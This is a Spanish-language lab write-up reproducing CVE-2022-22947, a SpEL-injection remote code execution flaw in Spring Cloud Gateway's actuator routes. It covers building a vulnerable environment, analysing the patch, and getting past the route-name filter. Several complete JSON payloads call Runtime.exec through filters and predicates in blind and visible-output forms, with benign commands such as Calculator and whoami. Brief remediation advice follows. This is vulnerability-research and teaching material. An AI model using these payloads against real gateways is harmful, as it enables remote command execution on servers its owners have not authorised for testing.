
Spring-Cloud-Spel-RCE
Clonando el código de entorno ya escrito en Github.
//⚠️ Nota: la ruta de descarga del código de entorno no debe contener caracteres chinos ni espacios
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Abra el paquete de código que acabamos de descargar con IDEA: Open ---> ruta del archivo descargado ---> Open.
Creando un proyecto manualmente y configurando el entorno.
(1) Cree un nuevo proyecto, configure y haga clic en "Next" hasta que termine.

(2) Analice la estructura de directorios del proyecto:
1. La carpeta .idea contiene los archivos de configuración predeterminados de IntelliJ IDEA, sin otro propósito; puede eliminarla o conservarla según sus necesidades.
2. La carpeta src es la zona de código del proyecto, que incluye dos carpetas: java y resources. java es el área para escribir código Java, resources es el área de configuración del proyecto. El proyecto Spring agrega por defecto el método SpringApplication en java, que es el método de inicio predeterminado de Spring. En resources se agrega por defecto application.properties, el archivo de configuración del proyecto Spring.
3. La carpeta test es para pruebas; puede probar métodos en ella.
4. pom.xml es el archivo de configuración de Maven, que incluye dependencias, configuraciones, etc. necesarias para el proyecto.
5. .iml es la configuración de los paquetes de dependencia de Maven, también agregada por defecto.
6. La carpeta External Libraries contiene todos los paquetes de dependencia del proyecto.
(3) Agregue las dependencias de Maven al archivo pom.xml (repositorio de Maven contiene todos los detalles de las dependencias).
1. El archivo pom generará por defecto parte del código XML, como se muestra a continuación:

2. Importe las dependencias necesarias para el proyecto. Dado que este proyecto es un proyecto Spring Boot, se necesita importar la dependencia spring-boot-starter como iniciador del servidor. En segundo lugar, dado que esta vulnerabilidad es una vulnerabilidad de la puerta de enlace Gateway en Spring Cloud, las versiones afectadas son anteriores a 3.1.1, por lo que esta vez usamos la versión 3.1.0 para reproducir la vulnerabilidad. Además, necesitamos monitorear y acceder a la puerta de enlace a través de la interfaz actuator, por lo que también necesitamos esta dependencia. El contenido específico es el siguiente:

(4) Modifique el archivo de configuración de Spring (ruta: src → main → resources → application.properties), los detalles son los siguientes:
1. server.port es el puerto de inicio del servidor Spring, por defecto 8080; puede configurarlo según su situación.
2. management.endpoint.gateway.enabled=true habilita la detección del puerto actuator para la puerta de enlace Spring Cloud Gateway, por defecto false. Dado que esta vulnerabilidad requiere monitorear el estado de la puerta de enlace, debemos cambiarlo manualmente a true para habilitar la monitorización.
3. management.endpoints.web.exposure.include=gateway selecciona la puerta de enlace del servidor como Gateway, porque esta vulnerabilidad es de la puerta de enlace Gateway, así que declaramos en el archivo de configuración que la puerta de enlace elegida es Gateway.

(5) Modifique la clase Java generada automáticamente después de crear el nuevo proyecto (el nombre de la clase generalmente es nombre del proyecto + Application, ruta: src → main → java → com.xxx.xxx → xxxApplication). Vea la siguiente figura para más detalles:

(6) Inicie el proyecto, como se muestra en la siguiente figura:

(7) Acceda a http://localhost:9000, si la página se muestra igual que la captura de pantalla, la configuración del entorno es exitosa.

(1) Primero, veamos el parche oficial de reparación, el diff está en: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. En la función org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue, los oficiales reemplazaron StandardEvaluationContext con GatewayEvaluationContext para ejecutar expresiones SPEL.

De la imagen anterior se puede ver que este parche modifica principalmente el método de análisis de expresiones SPEL. La línea 66 muestra una declaración if, que indica que la expresión SPEL debe comenzar con "#{" y terminar con "}". La función getValue es para analizar expresiones SPEL. Se puede ver que esta vulnerabilidad es una RCE desencadenada por expresión SPEL.
(2) Haciendo clic en el campo getValue con Ctrl + clic izquierdo, se puede rastrear hacia arriba para encontrar la enumeración org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

Del método default mencionado anteriormente, se puede ver que se llama al método DEFAULT de la enumeración. Los detalles del método son los siguientes:
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}

(3) Rastreando hacia arriba para encontrar org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Este normalizeProperties() analiza las propiedades del filtro, pasa las propiedades de configuración del filtro a normalize y finalmente entra en getValue para ejecutar la expresión SPEL, causando inyección de expresión SPEL.
(1) Según la documentación [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html), los usuarios pueden crear y eliminar rutas en la puerta de enlace a través de actuator. La siguiente imagen muestra la estructura básica de la puerta de enlace.

(2) En IDEA, se pueden encontrar las interfaces de funciones como creación y eliminación de la puerta de enlace mediante la función de mapeo de actuator.

(3) Rastreando hasta la clase RouteDefinition, se descubre que esta clase declara la estructura del contenido de la puerta de enlace.

(4) Rastreando la clase FilterDefinition, se encuentra que Filter tiene dos parámetros: "name" y "args".
(5) Rastreando este parámetro name, se descubre que en el método AbstractGatewayControllerEndpoint#save() se filtra name. El método save es la interfaz para crear la puerta de enlace. Este método llama a dos parámetros: el id de la puerta de enlace (personalizable) y RouteDefinition. Como se explicó anteriormente, este objeto declara la estructura del contenido de la puerta de enlace creada, lo que desencadena la vulnerabilidad.

(6) Depurando dinámicamente el método isAvailable() con puntos de interrupción para ver qué nombres pueden pasar este filtro.


Se pueden usar los nombres como en la imagen anterior para eludir la verificación de nombre.
(7) A través del análisis anterior, podemos realizar un ataque RCE utilizando el parámetro "name" especificado y una expresión SPEL que comience con "#{" y termine con "}". El payload es el siguiente:
/**
* Explicación de la expresión SPEL en el payload
* Dado que necesitamos ejecutar comandos a través de la expresión, debemos invocar el método de ejecución de comandos mediante T(java.lang.Runtime).getRuntime().exec().
* Dado que al ejecutar el comando se requiere pasar la expresión como una cadena de tipo String, es necesario convertir el tipo de la expresión a un objeto String.
* Dado que al pasar la expresión se requiere hacerlo en forma de flujo de bytes, es necesario invocar el método T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
"id": "se puede cambiar arbitrariamente (no debe ser igual a un id creado anteriormente)",
"filters": [{
"name": "cualquier nombre de la captura de pantalla de arriba 👆",
"args": {
"name": "se puede cambiar arbitrariamente",
//Este valor es el comando para abrir la calculadora (MacOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8) Cadena de explotación sin salida visible en predicates ([documentación oficial](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): El flujo de ejecución de SPEL en predicates es el mismo que en filters. La siguiente imagen muestra el contenido de coincidencia de verificación de nombre en predicates. Se pueden usar estos nombres para ejecutar comandos. Obtenga el mecanismo de verificación de nombre de predicates mediante depuración dinámica y construya el payload según los ejemplos de la documentación oficial.

/**
* Explicación de la expresión SPEL en el payload
* Dado que necesitamos ejecutar comandos a través de la expresión, debemos invocar el método de ejecución de comandos mediante T(java.lang.Runtime).getRuntime().exec().
* Dado que al ejecutar el comando se requiere pasar la expresión como una cadena de tipo String, es necesario convertir el tipo de la expresión a un objeto String.
* Dado que al pasar la expresión se requiere hacerlo en forma de flujo de bytes, es necesario invocar el método T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
"id": "se puede cambiar arbitrariamente (no debe ser igual a un id creado anteriormente)",
"predicates": [{
"name": "cualquier nombre de la captura de pantalla de arriba 👆",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
Las cadenas de explotación sin salida visible en filters y predicates realmente existen, y siempre que los nombres de filters y predicates sean legales y eludan las restricciones, se puede desencadenar RCE.
(1) Principio de la salida visible: La información de definición de rutas almacenada por el usuario reside en la memoria. Después de actualizar la ruta y ejecutar la expresión SPEL, el resultado de la ejecución se escribe en la información de la ruta. A través de la interfaz API de información de rutas, se puede ver el resultado de la ejecución de RCE en la visualización de información de rutas.
(2) De la explicación oficial se puede ver que en la cadena de explotación con salida visible para filters, name="AddResponseHeader" puede desencadenar la cadena de explotación con salida visible.
/**
* Explicación de la expresión SPEL en el payload
* Dado que necesitamos ejecutar comandos a través de la expresión, debemos invocar el método de ejecución de comandos mediante T(java.lang.Runtime).getRuntime().exec().
* Dado que al ejecutar el comando se requiere pasar la expresión como una cadena de tipo String, es necesario convertir el tipo de la expresión a un objeto String.
* Dado que al pasar la expresión se requiere hacerlo en forma de flujo de bytes, es necesario invocar el método T(org.springframework.util.StreamUtils).copyToByteArray().
/
{
"id": ""se puede cambiar arbitrariamente (no debe ser igual a un id creado anteriormente)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3) A continuación, debemos considerar si, además de name="AddResponseHeader", todos los nombres pueden realizar ataques RCE con salida visible como en la cadena sin salida.
(4) Usamos name="RedirectTo" para intentar reproducir y ver si se puede realizar un ataque con salida visible.


Descubrimos que no se puede obtener salida visible. Veamos la información de registro del backend y encontramos que el backend devuelve una excepción de puntero nulo.

Vamos a la documentación oficial y vemos que es causado por que los parámetros args ingresados no coinciden con el filtro. Este filtro requiere dos parámetros: "status" y "url". Cambiamos los parámetros y ejecutamos de nuevo.


Todavía devuelve 404, pero el error del backend ya no es de puntero nulo. Al ver la información de la excepción, se explica que spring-cloud-gateway está analizando el formato de la URL. Es decir, los parámetros correspondientes tienen restricciones de tipo, por ejemplo, status debe ser un código de estado HTTP (tipo enumerado).

Necesitamos buscar otro punto de avance, encontrar un parámetro que sea de tipo String.
(5) Vamos a la documentación oficial y buscamos un filtro cuyo parámetro sea de tipo String ([enlace oficial](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory)), por ejemplo, el filtro RemoveRequestHeader solo requiere pasar una cadena name de tipo String, por lo que podemos construir una expresión SPEL como valor de name.

A continuación, podemos construir el payload e intentar, y descubrimos que se puede obtener salida visible.


Se puede ver que en la cadena de explotación con salida visible en Filters, no solo se filtra name, sino que también hay ciertos requisitos para los parámetros args. Sin embargo, se pueden eludir las restricciones construyendo diferentes filtros.
(6) La ruta de explotación con salida visible en predicates es similar a la de Filters. Filtre según los tipos de parámetros y el contenido de los parámetros en la documentación oficial, encuentre un filtro que cumpla con la ejecución de expresiones SPEL, y podrá ejecutar RCE con salida visible.
(7) En predicates, se puede usar name="Cookie" para ejecutar comandos. Consulte los parámetros de la documentación oficial para construirlo.

Construimos el payload e intentamos, y descubrimos que se puede obtener salida visible exitosamente.


La cadena de explotación con salida visible en predicates realmente existe. No solo hay restricciones en los nombres de los parámetros args, sino también en los tipos correspondientes a los parámetros. Además, también hay restricciones en la integridad de los parámetros.
En la cadena de explotación con salida visible, Spring no solo filtra el name del filtro, sino que también tiene restricciones correspondientes en el tipo y la cantidad de parámetros args. Se puede determinar si existe una cadena explotable consultando los detalles del filtro en la documentación oficial.
(1) Primero, cree una puerta de enlace, envíe una solicitud POST y construya un payload malicioso.

(2) Actualice la puerta de enlace.

(3) Obtenga la información de la puerta de enlace, envíe una solicitud GET a la puerta de enlace test que acabamos de crear, y se abrirá la calculadora.

(4) Elimine la puerta de enlace.

(1) Primero, cree una puerta de enlace, envíe una solicitud POST y construya un payload malicioso.

(2) Actualice la puerta de enlace.

(3) Obtenga la información de la puerta de enlace, envíe una solicitud GET a la puerta de enlace hacktest que acabamos de crear, y la salida visible muestra "whoami" exitosamente.

(4) Elimine la puerta de enlace.

(1) Si no se necesita el endpoint Actuator, se puede deshabilitar con la siguiente configuración.
management.endpoint.gateway.enabled=false
(2) Si se necesita el endpoint Actuator, se debe proteger con Spring Security.
El oficial ha publicado versiones de seguridad:
Usuarios de la versión 3.1.X deben actualizar a 3.1.1+
Usuarios de la versión 3.0.X deben actualizar a 3.0.7+